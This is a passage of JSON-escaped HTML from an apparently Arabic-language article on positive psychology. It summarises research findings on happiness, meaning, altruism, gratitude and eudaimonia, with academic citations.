\u0627\u0644\u062d\u064a\u0627\u0629\u061b \u0648\u0645\u0646 \u062b\u0645 \u0641\u0625\u0646 \u0632\u0631\u0627\u0639\u0629 \u0627\u0644\u0627\u0645\u062a\u0646\u0627\u0646 \u0648\u062a\u0646\u0645\u064a\u062a\u0647 \u0648\u062a\u0645\u0643\u064a\u0646\u0647 \u0641\u064a \u0627\u0644\u062a\u0643\u0648\u064a\u0646 \u0627\u0644\u0646\u0641\u0633\u064a \u0644\u0644\u0625\u0646\u0633\u0627\u0646 \u064a\u0632\u064a\u062f\u0647 \u0633\u0639\u0627\u062f\u0629 \u0648\u0631\u0636\u0627 \u0648\u0647\u0646\u0627\u0621\u064b (Seligman, Steen, Park, &amp; Peterson, 2005).<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0631\u0628\u0645\u0627 \u064a\u0646\u0634\u0637 \u0627\u0644\u0623\u0648\u0643\u0633\u064a\u062a\u0648\u0633\u064a\u0646Oxytocin\u0627\u0644\u062b\u0642\u0629 \u0627\u0644\u062a\u0639\u0627\u0637\u0641 \u0648\u0627\u0644\u0623\u062e\u0644\u0627\u0642\u064a\u0629 \u0644\u062f\u0649 \u0627\u0644\u0628\u0634\u0631\u060c \u0625\u0644\u0627 \u0623\u0646 &#8220;\u0627\u0644\u0645\u0639\u0646\u0649 meaning &#8221; \u0627\u0644\u0639\u0627\u0645\u0644 \u0627\u0644\u0645\u0631\u0643\u0632\u064a \u0641\u064a \u0627\u0644\u062a\u0648\u0627\u062f \u0648\u062a\u062d\u0642\u064a\u0642 \u0627\u0644\u0647\u0646\u0627\u0621 \u0627\u0644\u0639\u0627\u0645 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u0644\u0644\u0630\u0627\u062a \u0648\u0644\u0644\u0622\u062e\u0631\u064a\u0646 (Barraza &amp; Zak, 2009).<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0645\u0646 \u064a\u062a\u0648\u062c\u0647\u0648\u0646 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u0628\u0630\u0647\u0646\u064a\u0629 \u0632\u0631\u0627\u0639\u0629 \u0648\u062a\u0623\u0633\u064a\u0633 \u0648\u0625\u062b\u0631\u0627\u0621 \u0627\u0644\u0645\u0632\u0627\u062c \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0644\u0644\u062a\u0646\u0627\u063a\u0645 \u0645\u0639 \u0645\u062b\u064a\u0631\u0627\u062a \u0648\u0648\u0642\u0627\u0626\u0639 \u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u062e\u0627\u0631\u062c\u064a\u0629 \u0639\u0644\u0649 \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a \u0623\u0643\u062b\u0631 \u0633\u0639\u0627\u062f\u0629 \u0648\u0631\u0636\u0627 \u0648\u0647\u0646\u0627\u0621\u064b \u0648\u0647\u0648 \u0623\u0645\u0631 \u0644\u0627 \u064a\u062a\u062d\u0642\u0642 \u0628\u0630\u0627\u062a\u0647 \u0625\u0646\u0645\u0627 \u062f\u0627\u0644\u0629 \u0641\u064a \u062c\u0632\u0621 \u0623\u0633\u0627\u0633\u064a \u0645\u0646\u0647 \u0644\u0631\u063a\u0628\u0629 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0641\u064a \u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0648\u0633\u0639\u064a\u0647 \u0644\u0647\u0627 \u0648\u0635\u0646\u0627\u0639\u062a\u0647 \u0625\u064a\u0627\u0647\u0627 \u0648\u0641\u0642\u064b\u0627 \u0644\u0644\u0645\u0639\u0646\u0649 \u0648\u0627\u0644\u0642\u064a\u0645 \u0641\u064a\u0645\u0627 \u064a\u0639\u0631\u0641 \u0628&#8221;\u0627\u0644\u062c\u0647\u062f \u0648\u0627\u0644\u0639\u0645\u0644 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u064a emotional labor&#8221;(Scott &amp; Barnes, 2011).<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0645\u064f\u0639\u0652\u062f\u064a\u0629: \u0641\u0645\u0627 \u062c\u0627\u0648\u0631 \u0627\u0644\u0633\u0639\u064a\u062f \u064a\u0633\u0639\u062f\u060c \u0648\u0645\u0646 \u0635\u0627\u062d\u0628 \u0627\u0644\u0633\u0639\u064a\u062f \u064a\u0633\u0639\u062f\u060c \u0648\u0645\u0646 \u0643\u0627\u0646 \u0641\u064a \u062d\u064a\u0627\u062a\u0647 \u0623\u0634\u062e\u0627\u0635 \u0645\u0642\u0631\u0628\u0648\u0646 \u0645\u0633\u0627\u0646\u062f\u0648\u0646 \u0633\u0639\u062f\u0627\u0621 \u062a\u0632\u062f\u0627\u062f \u0633\u0639\u0627\u062f\u062a\u0647 \u0641\u064a \u0627\u0644\u0645\u0633\u062a\u0642\u0628\u0644 \u0631\u0628\u0645\u0627 \u0644\u0627\u0631\u062a\u0641\u0627\u0639 \u0645\u0639\u0627\u0645\u0644 \u0627\u0644\u0637\u0645\u0623\u0646\u064a\u0646\u0629 \u0648\u0627\u0644\u0623\u0645\u0646 \u0627\u0644\u0646\u0641\u0633\u064a (Fowler &amp; Christakis, 2008).<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0645\u0646 \u064a\u062a\u0645\u064a\u0632\u0648\u0646 \u0628\u0627\u0644\u0631\u0642\u0629 \u0648\u0627\u0644\u062a\u0648\u0627\u062f \u0648\u064a\u0628\u062f\u0648\u0646 \u0627\u0644\u062a\u0639\u0627\u0637\u0641 \u0648\u0627\u0644\u062d\u0646\u0648 \u062a\u062c\u0627\u0647 \u0627\u0644\u0622\u062e\u0631\u064a\u0646 \u0644\u0627 \u064a\u0639\u0632\u0632\u0648\u0646 \u0641\u0642\u0637 \u0627\u0644\u0647\u0646\u0627\u0621 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u062f\u0627\u062e\u0644 \u062a\u0643\u0648\u064a\u0646\u0647\u0645 \u0627\u0644\u0646\u0641\u0633\u064a \u0628\u0644 \u062a\u0631\u062a\u0641\u0639 \u0645\u0643\u0627\u0646\u062a\u0647\u0645 \u0627\u0644\u0627\u062c\u062a\u0645\u0627\u0639\u064a\u0629 \u0628\u064a\u0646 \u0623\u0642\u0631\u0627\u0646\u0647\u0645 \u0648\u064a\u0643\u0648\u0646\u0648\u0646 \u0623\u0643\u062b\u0631 \u062a\u0642\u0628\u0644\u0627\u064b \u0645\u0646 \u0642\u0628\u0644 \u0647\u0624\u0644\u0627\u0621 \u0627\u0644\u0623\u0642\u0631\u0627\u0646 (Layous, Nelson, Oberle, Schonert-Reichl, &amp; Lyubomirsky, 2012).<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0627\u0634\u062a\u0631\u0627\u0643 \u0641\u064a \u0627\u0644\u0623\u0639\u0645\u0627\u0644 \u0627\u0644\u062e\u064a\u0631\u064a\u0629 \u0648\u0642\u0636\u0627\u0621 \u0648\u0642\u062a \u0641\u064a \u0627\u0644\u0623\u0639\u0645\u0627\u0644 \u0627\u0644\u062a\u0637\u0648\u0639\u064a\u0629 \u0639\u0646 \u0642\u0646\u0627\u0639\u0629 \u0648\u0631\u0636\u0627 \u064a\u062d\u0633\u0646 \u0645\u0646 \u0627\u0644\u0647\u0646\u0627\u0621 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u0648\u0627\u0644\u0631\u0636\u0627 \u0639\u0646 \u0627\u0644\u0630\u0627\u062a \u0648\u0639\u0646 \u0627\u0644\u062d\u064a\u0627\u0629\u060c \u0628\u0644 \u0648\u064a\u0642\u0644\u0644 \u0645\u0646 \u0623\u0639\u0631\u0627\u0636 \u0627\u0644\u0627\u0643\u062a\u0626\u0627\u0628(Jenkinson et al., 2013).<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0625\u0646\u0641\u0627\u0642 \u0627\u0644\u0645\u0627\u0644 \u0639\u0644\u0649 \u0627\u0644\u0622\u062e\u0631\u064a\u0646 \u064a\u0641\u0636\u064a \u0625\u0644\u0649 \u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0644\u0644\u0645\u0646\u0641\u0642 (Dunn, Aknin, &amp; Norton, 2008).<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0648\u064a\u062c\u062a\u0647\u062f \u0623\u0646\u0635\u0627\u0631 \u062d\u0631\u0643\u0629 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0623\u0648 \u062a\u064a\u0627\u0631 \u062f\u0631\u0627\u0633\u0629 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0641\u064a \u0627\u0644\u0634\u062e\u0635\u064a\u0629 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u0629 \u0648\u0627\u0644\u0648\u062c\u0648\u062f \u0627\u0644\u0628\u0634\u0631\u064a \u0641\u064a \u062a\u062d\u0633\u064a\u0646 \u0628\u064a\u0626\u0627\u062a \u0627\u0644\u0639\u0645\u0644 \u0648\u0627\u0644\u0645\u0624\u0633\u0633\u0627\u062a \u0627\u0644\u062a\u0639\u0644\u064a\u0645\u064a\u0629 \u0648\u0627\u0644\u0645\u0647\u0646\u064a\u0629\u060c \u0648\u0643\u0634\u0641\u062a \u0646\u062a\u0627\u0626\u062c \u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u062f\u0631\u0627\u0633\u0627\u062a \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0645\u0633\u0627\u0631 \u0639\u0646 \u0645\u0627 \u064a\u0644\u064a:<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u062a\u062d\u0633\u0646 \u0627\u0644\u0625\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0627\u0644\u0623\u062f\u0627\u0621 \u0627\u0644\u0648\u0638\u064a\u0641\u064a \u0627\u0644\u0645\u0647\u0646\u064a \u0641\u064a \u0628\u064a\u0626\u0629 \u0627\u0644\u0639\u0645\u0644.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0641\u064a \u0628\u064a\u0626\u0629 \u0627\u0644\u0639\u0645\u0644 \u0645\u064f\u0639\u0652\u062f\u064a\u0629\u060c \u0628\u0645\u0627 \u064a\u0639\u0646\u064a \u0623\u0646 \u0627\u0644\u0634\u062e\u0635 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0623\u0648 \u0627\u0644\u0641\u0631\u064a\u0642 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u064a\u0648\u0633\u0639 \u0645\u0646 \u0646\u0637\u0627\u0642 \u0627\u0644\u0648\u062c\u062f\u0627\u0646 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0639\u0644\u0649 \u0645\u0646\u0638\u0645\u0629 \u0627\u0644\u0639\u0645\u0644 \u0643\u0644\u0647\u0627.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0644\u0644\u0623\u0641\u0639\u0627\u0644 \u0627\u0644\u0635\u063a\u064a\u0631\u0629 \u0648\u0627\u0644\u0628\u0633\u064a\u0637\u0629 \u062a\u0623\u062b\u064a\u0631\u0627\u062a \u0643\u0628\u064a\u0631\u0629 \u0639\u0644\u0649 \u0633\u0639\u0627\u062f\u062a\u0646\u0627\u060c \u0628\u0645\u0627 \u064a\u0639\u0646\u064a \u0644\u0627 \u064a\u062a\u0637\u0644\u0628 \u0627\u0644\u0623\u0645\u0631 \u062c\u0647\u062f\u064b\u0627 \u062c\u0647\u064a\u062f\u064b\u0627 \u0644\u062a\u062d\u0641\u064a\u0632 \u0627\u0644\u0622\u062e\u0631\u064a\u0646 \u0648\u062a\u0634\u062d\u064a\u0639\u0647\u0645 \u0628\u0644 \u0643\u0644\u0645\u0629 \u0637\u064a\u0628\u0629 \u0648\u0627\u0628\u062a\u0633\u0627\u0645\u0629 \u0635\u0627\u0641\u064a\u0629 \u0648\u062a\u0639\u0628\u064a\u0631 \u0648\u062f\u064a \u064a\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0648\u064a\u062d\u064a\u0644 \u0628\u064a\u0626\u0629 \u0627\u0644\u0639\u0645\u0644 \u0625\u0644\u0649 \u0645\u0643\u0627\u0646 \u0625\u064a\u062c\u0627\u0628\u064a \u0645\u0631\u064a\u062d(Kjerulf, 2016).<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0648\u064a\u062c\u062f\u0631 \u0627\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u062a\u0645\u062a\u0639 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0628\u0627\u0644\u0646\u0638\u0631\u0629 \u0627\u0644\u0645\u0634\u0631\u0642\u0629 \u0644\u0644\u062d\u064a\u0627\u0629 \u0644\u0627 \u064a\u0636\u0645\u0646 \u0641\u0642\u0637 \u0627\u0644\u0646\u062c\u0627\u062d \u0631\u063a\u0645 \u0623\u0646 \u0627\u0644\u0646\u062c\u0627\u062d \u0641\u064a \u062d\u062f \u0630\u0627\u062a\u0647 \u0644\u0627 \u064a\u0639\u0646\u064a \u0633\u0639\u0627\u062f\u0629 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0628\u0644 \u062a\u0632\u064a\u062f \u0645\u0646 \u062e\u0628\u0631\u062a\u0647 \u0628\u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u0632\u064a\u062f \u0628\u062f\u0648\u0631\u0647\u0627 \u0645\u0646 \u0641\u0631\u0635 \u062a\u062d\u0642\u064a\u0642 \u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0646\u062c\u0627\u062d(Lyubomirsky, King, &amp; Diener, 2005).<\/p>\n<p style=\"text-align: justify;\">\u0648\u0631\u063a\u0645 \u0645\u0627 \u062a\u0642\u062f\u0645 \u064a\u0646\u0628\u063a\u064a \u0627\u0644\u062d\u0630\u0631 \u0645\u0646 \u0627\u0641\u062a\u0631\u0627\u0636 \u0623\u0646 \u062f\u0641\u0639 \u0627\u0644\u0646\u0627\u0633 \u0639\u0644\u0649 \u062a\u062c\u0627\u0647\u0644 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0627\u0644\u0633\u0644\u0628\u064a\u0629 \u064a\u0633\u0627\u0639\u062f\u0647\u0645 \u0641\u064a \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0627\u0644\u0646\u062c\u0627\u062d \u0641\u0647\u0630\u0627 \u0648\u0647\u0648 \u0641\u064a \u0648\u0627\u0642\u0639 \u0627\u0644\u0623\u0645\u0631\u060c \u0641\u0645\u0646 \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0627\u0644\u0645\u0647\u0645\u0629 \u0645\u0646 \u062f\u0631\u0627\u0633\u0627\u062a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0627\u0646 \u0625\u062c\u0628\u0627\u0631 \u0627\u0644\u0646\u0627\u0633 \u063a\u064a\u0631 \u0627\u0644\u0645\u062a\u0641\u0627\u0624\u0644\u064a\u0646 \u0639\u0644\u0649 &#8220;\u0627\u0644\u062a\u0641\u0643\u064a\u0631 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a&#8221; \u0644\u0647 \u062a\u0623\u062b\u064a\u0631\u0627\u062a \u0628\u0627\u0644\u063a\u0629 \u0627\u0644\u0636\u0631\u0631\u061b \u0630\u0644\u0643 \u0644\u0623\u0646 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u063a\u064a\u0631 \u0627\u0644\u0648\u0627\u0642\u0639\u064a unrealistic optimism \u0644\u0627 \u064a\u0642\u0644 \u062a\u0623\u062b\u064a\u0631\u0647 \u0627\u0644\u0633\u0644\u0628\u064a \u0639\u0646 \u0627\u0644\u062a\u0634\u0627\u0624\u0645(del Valle &amp;Mateos, 2008; Dillard, Midboe, &amp; Klein, 2009).<\/p>\n<p style=\"text-align: justify;\">\u0648\u0645\u0646 \u0627\u0644\u0641\u0648\u0627\u0626\u062f \u0648\u0627\u0644\u0625\u0633\u0647\u0627\u0645\u0627\u062a \u0627\u0644\u0642\u064a\u0645\u0629 \u0644\u062d\u0631\u0643\u0629 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0641\u0643\u0631\u0629 &#8220;\u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u0637\u064a\u0628\u0629 \u0623\u0648 \u0627\u0644\u0635\u0627\u0644\u062d\u0629 the good life&#8221;\u060c \u0641\u0642\u062f \u0623\u062e\u0630 \u0627\u0644\u0627\u062e\u062a\u0635\u0627\u0635\u064a \u0627\u0644\u0646\u0641\u0633\u064a \u0627\u0644\u0645\u062c\u062f\u062f \u0641\u064a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0631\u0648\u064a \u0625\u0641 \u0628\u0648\u0645\u064a\u0633\u062a\u0631 Roy F. Baumeister\u0648\u0632\u0645\u0644\u0627\u0624\u0647 (2013) \u0639\u0644\u0649 \u0639\u0627\u062a\u0642\u0647\u0645 \u062a\u062d\u062f\u064a \u0648\u0635\u0641 \u0648\u062a\u0641\u0633\u064a\u0631 \u0627\u0644\u0639\u0648\u0627\u0645\u0644 \u0627\u0644\u062a\u064a \u062a\u0635\u0646\u0639 \u0623\u0648 \u062a\u0634\u0643\u0644 \u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u0637\u064a\u0628\u0629\u060c \u0648\u0648\u062c\u062f\u0648\u0627 \u0623\u0646 &#8220;\u0627\u0644\u0633\u0639\u0627\u062f\u0629&#8221;\u060c \u0648 &#8220;\u0627\u0644\u0634\u0639\u0648\u0631 \u0628\u0645\u0639\u0646\u064a \u0627\u0644\u062d\u064a\u0627\u0629&#8221; \u0644\u0627 \u064a\u0633\u064a\u0631\u0627\u0646 \u0645\u0639\u064b\u0627 \u0628\u0627\u0644\u0636\u0631\u0648\u0631\u0629 \u062c\u0646\u0628\u064b\u0627 \u0625\u0644\u0649 \u062c\u0646\u0628\u060c \u0645\u0624\u0643\u062f\u0648\u0646 \u0639\u0644\u0649 \u0623\u0646 \u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 &#8220;\u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a&#8221; \u0641\u0642\u0637 \u0644\u0627 \u064a\u0641\u0636\u064a \u0625\u0644\u0649 &#8220;\u0627\u0644\u0625\u0646\u062c\u0627\u0632&#8221; \u0648\u0644\u0627 &#8220;\u0627\u0644\u0631\u0636\u0627 \u0639\u0646 \u0627\u0644\u062d\u064a\u0627\u0629&#8221;\u060c \u0648\u0645\u0646 \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0627\u0644\u0645\u0647\u0644\u0645\u0629 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0635\u062f\u062f \u0645\u0627 \u064a\u0644\u064a:<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u0625\u0634\u0628\u0627\u0639 \u0627\u0644\u0645\u0631\u0621 \u0644\u062d\u0627\u062c\u0627\u062a\u0647 \u0648\u0631\u063a\u0628\u0627\u062a\u0647 \u064a\u0639\u0632\u0632 \u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0628\u0627\u0644\u0641\u0639\u0644\u060c \u0644\u0643\u0646 \u0644\u0627 \u062a\u0623\u062b\u064a\u0631 \u0644\u0647 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\u0644\u0623\u0633\u0631\u0627\u0631 \u0627\u0644\u0633\u0639\u0627\u062f\u0629\u060c \u0625\u0646\u0645\u0627 \u0647\u0648 \u0641\u0631\u0639 \u0648\u062a\u062e\u0635\u0635 \u0639\u0644\u0645\u064a \u0636\u0645\u0646 \u062a\u064a\u0627\u0631 \u0641\u0631\u0648\u0639 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u064a\u0631\u0633\u062e \u0644\u062a\u0648\u062c\u0647 \u0645\u0639\u0627\u0635\u0631 \u0636\u0645\u0646 \u062a\u0648\u062c\u0647\u0627\u062a \u0623\u062e\u0631\u0649 \u0643\u062b\u064a\u0631\u0629&#8221;.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0648\u0627\u0635\u0644 \u0643\u0631\u064a\u0633\u062a\u0648\u0641\u0631 \u0628\u064a\u0631\u062a\u0633\u0648\u0646 (2008) \u062a\u0648\u0636\u064a\u062d\u0639 \u0644\u0645\u0627\u0647\u064a\u0629 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a: \u0646\u0638\u0631\u064a\u0627\u062a\u0647 \u0648\u0645\u0641\u0627\u0647\u064a\u0645\u0647 \u0641\u064a \u0636\u0648\u0621 \u0645\u0627 \u0643\u0634\u0641\u062a \u0639\u0646\u0647 \u0646\u062a\u0627\u0626\u062c \u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u062f\u0631\u0627\u0633\u0627\u062a \u0641\u064a \u0646\u0637\u0627\u0642\u0647\u060c \u0648\u0645\u0646\u0647\u0627:<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u0628\u0637\u0628\u064a\u0639\u0629 \u0627\u0644\u062d\u0627\u0644 \u064a\u0641\u062a\u0631\u0636 \u0623\u0646 \u064a\u0646\u0634\u062f \u0627\u0644\u0646\u0627\u0633 \u0627\u0644\u0633\u0639\u0627\u062f\u0629\u060c \u0641\u0647\u064a \u062d\u0644\u0645 \u0648\u0623\u0645\u0644 \u0643\u0644 \u0625\u0646\u0633\u0627\u0646 \u0648\u0647\u0630\u0627 \u0623\u0645\u0631 \u0637\u0628\u064a\u0639\u064a.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0648\u0627\u062d\u062f\u0629 \u0645\u0646 \u0627\u0644\u0623\u0634\u064a\u0627\u0621 \u0627\u0644\u062c\u064a\u062f\u0629 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629\u060c \u0648\u062a\u0641\u0636\u064a \u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0625\u0644\u0649 \u062a\u0648\u0644\u064a\u062f \u0627\u0644\u0631\u063a\u0628\u0629 \u0641\u064a \u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0633\u0639\u0627\u062f\u0629\u060c \u0648\u0644\u0643\u0646 \u0627\u0644\u0633\u0624\u0627\u0644 \u0643\u064a\u0641\u061f<\/span><\/li>\n<li><span style=\"color: #000000;\">\u063a\u0627\u0644\u0628\u064a\u0629 \u0627\u0644\u0646\u0627\u0633 \u064a\u062a\u0635\u0641\u0648\u0646 \u0628\u0627\u0644\u0645\u0631\u0648\u0646\u0629 \u0648\u0627\u0644\u0635\u0645\u0648\u062f.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0633\u0639\u0627\u062c\u0629 \u0648\u0645\u0643\u0627\u0645\u0646 \u0627\u0644\u0642\u0648\u0629 \u0648\u0627\u0644\u0639\u0644\u0627\u0642\u0627\u062a \u0627\u0644\u0627\u062c\u062a\u0645\u0627\u0639\u064a\u0629 \u0627\u0644\u062c\u064a\u062f\u0629 \u0639\u0648\u0627\u0645\u0644 \u0648\u0642\u0627\u064a\u0629 \u0645\u0646 \u062e\u064a\u0628\u0627\u062a \u0627\u0644\u0623\u0645\u0644 \u0648\u0627\u0644\u0639\u062b\u0631\u0627\u062a \u0648\u0627\u0644\u0625\u062e\u0641\u0627\u0642\u0627\u062a.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u062a\u0643\u0634\u0641 \u0627\u0644\u0623\u0632\u0645\u0627\u062a \u0645\u0639\u062f\u0646 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0648\u0645\u0643\u0627\u0645\u0646 \u0642\u0648\u062a\u0647.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0622\u062e\u0631\u0648\u0646 \u0645\u0647\u0645\u0648\u0646 \u0641\u064a \u062d\u064a\u0627\u0629 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0628\u0644 \u0648\u0644\u0647\u0645 \u062f\u0648\u0631 \u0623\u0633\u0627\u0633\u064a \u0641\u064a \u062c\u0639\u0644 \u062d\u064a\u0627\u062a\u0647 \u062c\u062f\u064a\u0631\u0629 \u0628\u0623\u0646\u0647 \u062a\u0639\u0627\u0634.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0645\u0633\u0627\u0626\u0644 \u0627\u0644\u062f\u064a\u0646\u064a\u0629 \u0648\u0627\u0644\u0631\u0648\u062d\u064a\u0629 \u0639\u0648\u0627\u0645\u0644 \u0623\u0633\u0627\u0633\u064a\u0629 \u0641\u064a \u0627\u0644\u0633\u0639\u0627\u062f\u0629.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0639\u0645\u0644 \u0645\u062d\u062f\u062f \u0645\u0631\u0643\u0632\u064a \u0641\u064a \u062c\u0639\u0644 \u0627\u0644\u062d\u064a\u0627\u0629 \u062c\u062f\u064a\u0631\u0629 \u0628\u0623\u0646 \u062a\u0639\u0627\u0634\u060c \u0641\u0636\u0644\u0627\u064b \u0639\u0646 \u0643\u0648\u0646\u0647 \u0627\u0644\u0633\u064a\u0627\u0642 \u0627\u0644\u0630\u064a \u064a\u0643\u0634\u0641 \u0641\u064a\u0647 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0639\u0646 \u0645\u0639\u0646\u0649 \u0627\u0644\u062d\u064a\u0627\u0629 \u0648\u0627\u0644\u063a\u0631\u0636 \u0645\u0646\u0647\u0627.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u062a\u0642\u0644 \u0642\u064a\u0645\u0629 \u0627\u0644\u0645\u0627\u0644 \u0641\u064a \u062a\u062d\u0642\u064a\u0642 \u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0645\u0639 \u0648\u0635\u0648\u0644\u0647 \u0625\u0644\u0649 \u0645\u0633\u062a\u0648\u0649 \u0645\u0639\u064a\u0646\u060c \u0648\u0645\u0639 \u0630\u0644\u0643 \u064a\u0645\u0643\u0646\u0646\u0627 \u0634\u0631\u0627\u0621 \u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0639\u0628\u0631 \u0625\u0646\u0641\u0627\u0642 \u0627\u0644\u0645\u0627\u0644 \u0639\u0644\u0649 \u0627\u0644\u0622\u062e\u0631\u064a\u0646.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u064a\u0648\u062f\u064a\u0645\u0648\u0646\u064a\u0627 <a style=\"color: #000000;\" href=\"https:\/\/positivepsychology.com\/eudaimonia\/\"><strong>Eudaimonia<\/strong><\/a> \u0623\u064a \u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0627\u0644\u0642\u0627\u0626\u0645\u0629 \u0639\u0644\u0649 \u0627\u0644\u0641\u0636\u0627\u0626\u0644 \u0648\u0627\u0644\u0623\u062e\u0644\u0627\u0642\u064a\u0627\u062a \u0648\u062d\u0628 \u0627\u0644\u062e\u064a\u0631 \u0648\u0625\u062b\u0628\u0627\u062a \u0623\u0635\u0627\u0644\u0629 \u0627\u0644\u0630\u0627\u062a \u0648\u0627\u0644\u0625\u062b\u0645\u0627\u0631 (\u0627\u0644\u0647\u0646\u0627\u0621: \u0627\u0644\u0635\u064a\u063a\u0629 \u0627\u0644\u0623\u0639\u0645\u0642 \u0644\u0644\u0631\u0636\u0627 \u0623\u0643\u062b\u0631 \u0645\u0646 \u0627\u0644\u0633\u0639\u0627\u062f\u0629) \u0623\u0643\u062b\u0631 \u0623\u0647\u0645\u064a\u0629 \u0645\u0646 \u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0627\u0644\u0642\u0627\u0626\u0645\u0629 \u0639\u0644\u0649 \u0627\u0644\u0633\u0631\u0648\u0631 \u0648\u0627\u0644\u0644\u0630\u0629 \u0648\u0627\u0644\u0627\u0633\u062a\u0645\u062a\u0627\u0639 hedonism (\u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0641\u0642\u0637 \u0639\u0644\u0649 \u0627\u0644\u0644\u0630\u0629 \u0648\u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629) \u0641\u064a \u062a\u062d\u0642\u064a\u0642 \u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u0637\u064a\u0628\u0629.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0642\u0644\u0628 \u0623\u0643\u062b\u0631 \u0623\u0647\u0645\u064a\u0629 \u0645\u0646 \u0627\u0644\u0631\u0623\u0633\u060c \u0623\u064a 